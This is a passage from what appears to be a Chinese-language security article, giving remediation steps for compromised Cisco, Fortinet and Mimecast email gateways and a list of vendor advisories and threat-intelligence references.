  3. 检查是否存在异常管理员账户

Cisco SEG/SMA

  1. 应用 Cisco 安全通告中的最新补丁
  2. 通过 ACL 限制管理接口访问源 IP
  3. 启用设备的完整性检查功能

FortiMail/FortiOS

  1. 升级至修复版本(FortiOS ≥ 7.0.4/7.2.2,FortiMail ≥ 6.4.3)
  2. 重置所有管理员密码
  3. 检查并删除未知的管理员账户
  4. 审查 VPN 配置,重置预共享密钥

Mimecast

  1. 重置所有 Azure AD 应用凭据
  2. 重新生成 TLS 客户端证书
  3. 检查 M365 中的日志是否有异常邮件转发规则
  4. 启用 Mimecast 的 SOC 监控告警

0x09 参考资料

  1. Barracuda CVE-2023-2868 官方通告https://community.barracuda.com/s/article/CVE-2023-2868
  2. Mandiant: Barracuda ESG Exploited Globally by UNC4841https://cloud.google.com/blog/topics/threat-intelligence/barracuda-email-security-gateway-exploited-globally
  3. Volexity: Proofpoint Protection Server Vulnerability Exploited in the Wildhttps://www.volexity.com/blog/2022/08/25/proofpoint-protection-server-vulnerability-exploited-in-the-wild/
  4. Cisco Security Advisory: Secure Email Gateway CVE-2025-20393https://sec.cloudapps.cisco.com/security/center/resources/cisco_secure_email_gateway
  5. Fortinet FG-IR-22-377: FortiOS Authentication Bypasshttps://www.fortiguard.com/psirt/FG-IR-22-377
  6. Fortinet FG-IR-22-396: FortiOS SSL-VPN Heap Overflowhttps://www.fortiguard.com/psirt/FG-IR-22-396
  7. Mandiant: UNC2529 Double Back Doorchain Campaignhttps://cloud.google.com/blog/topics/threat-intelligence/unc2529-double-back-campaign
  8. Microsoft MSRC: CVE-2022-30190 Follinahttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190
  9. CISA KEV Cataloghttps://www.cisa.gov/known-exploited-vulnerabilities-catalog
  10. CrowdStrike: SUNSPOT Malware Analysishttps://www.crowdstrike.com/blog/sunspot-malware-indicator-analysis/